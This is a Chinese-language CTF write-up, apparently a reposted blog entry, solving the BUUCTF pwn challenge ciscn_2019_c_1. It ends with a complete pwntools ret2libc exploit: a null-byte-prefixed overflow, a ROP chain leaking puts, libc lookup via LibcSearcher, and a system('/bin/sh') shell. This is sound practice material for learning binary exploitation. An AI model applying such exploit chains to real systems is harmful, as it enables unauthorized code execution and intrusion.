[BUUCTF-pwn]——ciscn_2019_c_1

[BUUCTF-pwn]——ciscn_2019_c_1

  • 题目地址:https://buuoj.cn/challenges#ciscn_2019_c_1
  • 题目:
    在这里插入图片描述
    下载下来checksec一下
    在这里插入图片描述
    再IDA上面看一下,利用shift + f12看下字符串,发现没有我们想要的字符串,也没有system函数。
    在这里插入图片描述
    在这里插入图片描述

在这里插入图片描述
应该是ret2libc的题型。仔细观察函数,发现 '\0’开头的字符串可以完美的绕过加密,不改变我们输入的payload。或者也可以自己写一下解密函数。

先用ROPgadget 找一下需要用到的汇编指令的地址。ret ubuntu18上有栈平衡,用来进行栈对齐。
在这里插入图片描述

所以exploit如下

from pwn import*
from LibcSearcher import *
p=remote('node3.buuoj.cn',****)
elf=ELF('./ciscn_2019_c_1')
context.log_level = 'debug'
main=0x400b28
pop_rdi=0x400c83
ret=0x4006b9
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']

p.sendlineafter('Input your choice!\n','1')
payload='\0'+'a'*(0x50-1+8)
payload+=p64(pop_rdi)
payload+=p64(puts_got)
payload+=p64(puts_plt)
payload+=p64(main)

p.sendlineafter('Input your Plaintext to be encrypted\n',payload)
p.recvline() #将下面两个puts跳过
p.recvline()
puts_addr=u64(p.recvuntil('\n')[:-1].ljust(8,'\0'))
print "puts_addr:" + hex(puts_addr)
libc = LibcSearcher("puts",puts_addr)
libc_base = puts_addr - libc.dump("puts") #计算偏移
sys_addr = libc_base + libc.dump("system")
binsh = libc_base + libc.dump("str_bin_sh")
p.sendlineafter('choice!\n','1')
payload='\0'+'a'*(0x50-1+8) + p64(ret) + p64(pop_rdi) + p64(binsh) + p64(sys_addr) # p64(ret)的数量不固定,可以自己尝试。
p.sendlineafter('encrypted\n',payload)
p.interactive()

会出现两个libc的版本,两个都试试就可以了。
在这里插入图片描述

猜你喜欢

转载自blog.csdn.net/Y_peak/article/details/113486415